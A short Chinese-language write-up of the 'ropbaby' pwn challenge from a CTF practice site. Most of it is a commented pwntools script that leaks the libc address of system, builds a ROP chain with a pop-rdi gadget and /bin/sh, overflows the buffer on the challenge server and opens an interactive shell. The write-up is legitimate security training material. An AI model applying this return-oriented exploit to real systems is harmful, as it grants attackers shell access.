实验吧 ropbaby

题目链接:http://www.shiyanbar.com/ctf/2028

挺简单一道 pwn 题,但是却花了我一个星期的时间,只能说我太菜了,慢慢提升吧。

程序已经给出了基地址,还提供了可以溢出的缓冲区,以及服务器上的链接库文件。下面是模改的脚本,来源于何适之大佬,感觉作为新手的我看起来很费劲,所以就加上了一些注释,改了一些地方。

#!/usr/bin/python2

from pwn import *
# debug模式
context.log_level = "debug"
env = os.environ
# env['LD_PRELOAD']='./libc-2.23.so'

# ###### 本地测试 #######
# sh=process('./ropbaby')
# lib_file_path = '/lib/x86_64-linux-gnu/libc.so.6'
# #直接用ROPgadget获得
# pop_rdi_ret_offset = 0x2155f

###### 远程连接 #######
sh = remote('106.2.25.7', 8004)
lib_file_path = './libc-2.23.so'
#直接用ROPgadget获得
pop_rdi_ret_offset = 0x21102


lib = ELF(lib_file_path)

# 在库文件中寻找 字符 /bin/sh 
buf = open(lib_file_path, 'rb').read()
str_bin_sh_offset = buf.find(b'/bin/sh')

sh.recvuntil(':')
sh.sendline('2')
sh.recvuntil('Enter symbol: ')
sh.sendline('system')
sh.recvuntil('Symbol system: ')
system_addr = int(sh.recvline(), 16)
print("[+]system_addr: "+hex(system_addr))

# 基地址
base_addr = system_addr - lib.symbols['system']

str_bin_sh_addr = base_addr + str_bin_sh_offset
print("[+]binsh: "+hex(str_bin_sh_addr))
rdi_ret = base_addr + pop_rdi_ret_offset
#gdb.attach(r)
sh.recvuntil(':')
sh.sendline('3')
sh.recvuntil('Enter bytes to send (max 1024): ')

shellcode = b'a'*8+p64(rdi_ret)+p64(str_bin_sh_addr)+p64(system_addr)

sh.sendline(str(len(shellcode)))
sh.sendline(shellcode)

sh.interactive()